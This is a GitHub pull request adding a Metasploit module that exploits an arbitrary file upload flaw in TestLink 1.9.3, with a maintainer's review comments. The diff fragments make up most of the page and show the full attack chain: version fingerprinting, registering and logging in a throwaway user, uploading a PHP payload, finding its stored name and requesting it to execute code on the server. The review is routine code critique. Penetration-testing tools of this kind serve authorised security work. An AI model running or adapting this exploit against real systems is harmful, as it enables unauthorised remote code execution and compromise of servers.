Add TestLink v1.9.3 arbitrary file upload module #689

Merged
merged 1 commit into from Aug 13, 2012

Projects

None yet

2 participants

@bcoles
Contributor
bcoles commented Aug 13, 2012

TestLink 1.9.3 Upload Exec MSF

@jvazquez-r7
Contributor

Thanks bcoles!

Looking into this today :)

@jvazquez-r7 jvazquez-r7 commented on the diff Aug 13, 2012
modules/exploits/multi/http/testlink_upload_exec.rb
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'The path to the web application', '/testlink-1.9.3/'])
+ ], self.class)
+ end
+
+ def check
+
+ base = target_uri.path
+ base << '/' if base[-1, 1] != '/'
+ @peer = "#{rhost}:#{rport}"
+
+ # retrieve software version from login page
+ begin
+ res = send_request_raw({
@jvazquez-r7
jvazquez-r7 Aug 13, 2012 Contributor

send_request_cgi can be used here too. I'll update by myself when merging, no prob :)

@jvazquez-r7 jvazquez-r7 commented on the diff Aug 13, 2012
modules/exploits/multi/http/testlink_upload_exec.rb
+ res = upload(base, fname, php)
+ if res and res.body =~ /<p>File uploaded<\/p>/
+ print_good("#{@peer} - File uploaded successfully")
+ else
+ print_error("#{@peer} - Uploading PHP payload failed")
+ return
+ end
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+ print_error("#{@peer} - Connection failed")
+ return
+ end
+
+ # attempt to retrieve real file name from directory index
+ print_status("#{@peer} - Retrieving real file name from directory index.")
+ begin
+ res = send_request_raw({
@jvazquez-r7
jvazquez-r7 Aug 13, 2012 Contributor

send_request_cgi can be used here too. I'll update by myself when merging, no prob :)

@jvazquez-r7 jvazquez-r7 commented on the diff Aug 13, 2012
modules/exploits/multi/http/testlink_upload_exec.rb
+ token = $1
+ print_good("#{@peer} - Successfully retrieved file name (#{token})")
+ else
+ print_error("#{@peer} - Could not retrieve file name from the database.")
+ return
+ end
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+ print_error("#{@peer} - Connection failed")
+ return
+ end
+ end
+
+ # retrieve and execute PHP payload
+ print_status("#{@peer} - Executing payload (#{token}.php)")
+ begin
+ send_request_raw({
@jvazquez-r7
jvazquez-r7 Aug 13, 2012 Contributor

send_request_cgi can be used here too. I'll update by myself when merging, no prob :)

@jvazquez-r7 jvazquez-r7 commented on the diff Aug 13, 2012
modules/exploits/multi/http/testlink_upload_exec.rb
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => "Aug 13 2012",
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'The path to the web application', '/testlink-1.9.3/'])
+ ], self.class)
+ end
+
+ def check
+
+ base = target_uri.path
+ base << '/' if base[-1, 1] != '/'
+ @peer = "#{rhost}:#{rport}"
@jvazquez-r7
jvazquez-r7 Aug 13, 2012 Contributor

A local variable can be used here for peer, no prob, I'll update it by myself when merging

@jvazquez-r7 jvazquez-r7 commented on the diff Aug 13, 2012
modules/exploits/multi/http/testlink_upload_exec.rb
+ end
+
+ def check
+
+ base = target_uri.path
+ base << '/' if base[-1, 1] != '/'
+ @peer = "#{rhost}:#{rport}"
+
+ # retrieve software version from login page
+ begin
+ res = send_request_raw({
+ 'method' => 'GET',
+ 'uri' => "#{base}login.php"
+ })
+
+ return Exploit::CheckCode::Vulnerable if res.body =~ /<p><img alt="Company logo" title="logo" style="width: 115px; height: 53px;"\s+src="[^"]+" \/>\s+<br \/>TestLink 1\.9\.3/
@jvazquez-r7
jvazquez-r7 Aug 13, 2012 Contributor

I would like to check res.code before res.body. I can add it by myself when merging. No prob :)

@jvazquez-r7 jvazquez-r7 commented on the diff Aug 13, 2012
modules/exploits/multi/http/testlink_upload_exec.rb
+
+ def check
+
+ base = target_uri.path
+ base << '/' if base[-1, 1] != '/'
+ @peer = "#{rhost}:#{rport}"
+
+ # retrieve software version from login page
+ begin
+ res = send_request_raw({
+ 'method' => 'GET',
+ 'uri' => "#{base}login.php"
+ })
+
+ return Exploit::CheckCode::Vulnerable if res.body =~ /<p><img alt="Company logo" title="logo" style="width: 115px; height: 53px;"\s+src="[^"]+" \/>\s+<br \/>TestLink 1\.9\.3/
+ return Exploit::CheckCode::Detected if res.body =~ /TestLink project <a href="http:\/\/testlink\.sourceforge\.net\/docs\/testLink\.php">Home<\/a><br \/>/
@jvazquez-r7
jvazquez-r7 Aug 13, 2012 Contributor

I would like to check res.code before res.body. I can add it by myself when merging. No prob.

@jvazquez-r7 jvazquez-r7 commented on the diff Aug 13, 2012
modules/exploits/multi/http/testlink_upload_exec.rb
+ return res
+
+ end
+
+ def exploit
+
+ base = target_uri.path
+ base << '/' if base[-1, 1] != '/'
+ @peer = "#{rhost}:#{rport}"
+ datastore['COOKIE'] = "PHPSESSID="+rand_text_alpha_lower(26)+";"
+
+ # register an account
+ user = rand_text_alphanumeric(rand(10)+6)
+ print_status("#{@peer} - Registering user (#{user})")
+ res = register(base, user, user)
+ if res and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
@jvazquez-r7
jvazquez-r7 Aug 13, 2012 Contributor

I would like to check res.code before res.body. I can add it by myself when merging. No prob

@jvazquez-r7 jvazquez-r7 commented on the diff Aug 13, 2012
modules/exploits/multi/http/testlink_upload_exec.rb
+
+ # register an account
+ user = rand_text_alphanumeric(rand(10)+6)
+ print_status("#{@peer} - Registering user (#{user})")
+ res = register(base, user, user)
+ if res and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
+ print_status("#{@peer} - Registered successfully")
+ else
+ print_error("#{@peer} - Registration failed")
+ return
+ end
+
+ # login
+ print_status("#{@peer} - Authenticating user (#{user})")
+ res = login(base, user, user)
+ if res and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
@jvazquez-r7
jvazquez-r7 Aug 13, 2012 Contributor

I would like to check res.code before res.body. I can add it by myself when merging. No prob

@jvazquez-r7
jvazquez-r7 Aug 13, 2012 Contributor

Well... basically I'lll add a check for res.code in all the response checks ! :P

@jvazquez-r7 jvazquez-r7 commented on the diff Aug 13, 2012
modules/exploits/multi/http/testlink_upload_exec.rb
+ # login
+ print_status("#{@peer} - Authenticating user (#{user})")
+ res = login(base, user, user)
+ if res and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
+ print_status("#{@peer} - Authenticated successfully")
+ else
+ print_error("#{@peer} - Authentication failed")
+ return
+ end
+
+ # set id and table name
+ id = rand(1000)+1
+ table = 'nodes_hierarchy'
+ print_status("#{@peer} - Setting id (#{id}) and table name (#{table})")
+ begin
+ res = send_request_cgi({
@jvazquez-r7
jvazquez-r7 Aug 13, 2012 Contributor

Is there any reason to not check the response in this case to be sure this step was fine before going for upload?

@bcoles
bcoles Aug 13, 2012 Contributor

Makes sense. Status should be 200

@jvazquez-r7 jvazquez-r7 commented on the diff Aug 13, 2012
modules/exploits/multi/http/testlink_upload_exec.rb
+ end
+ end
+
+ # retrieve and execute PHP payload
+ print_status("#{@peer} - Executing payload (#{token}.php)")
+ begin
+ send_request_raw({
+ 'method' => 'GET',
+ 'uri' => "#{base}upload_area/nodes_hierarchy/#{id}/#{token}.php"
+ })
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+ print_error("#{@peer} - Connection failed")
+ return
+ end
+
+ handler
@jvazquez-r7
jvazquez-r7 Aug 13, 2012 Contributor

This line isn't needed

@jvazquez-r7
Contributor

Tested successfully on:

  • Windows xp sp3 + wampserver + testlink 1.9.3
  • Ubuntu 10.04 + testlinke 1.9.3

Awaiting for response about the response for the "set id and table name" topic before going for merging.

Really thanks to bcoles!

@bcoles
Contributor
bcoles commented Aug 13, 2012

Tested successfully on:

  • Ubuntu + TestLink 1.9.0
  • Ubuntu + TestLink 1.9.3
@jvazquez-r7 jvazquez-r7 merged commit 8bb3181 into rapid7:master Aug 13, 2012
@jvazquez-r7
Contributor

merged! thanks again bcoles!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment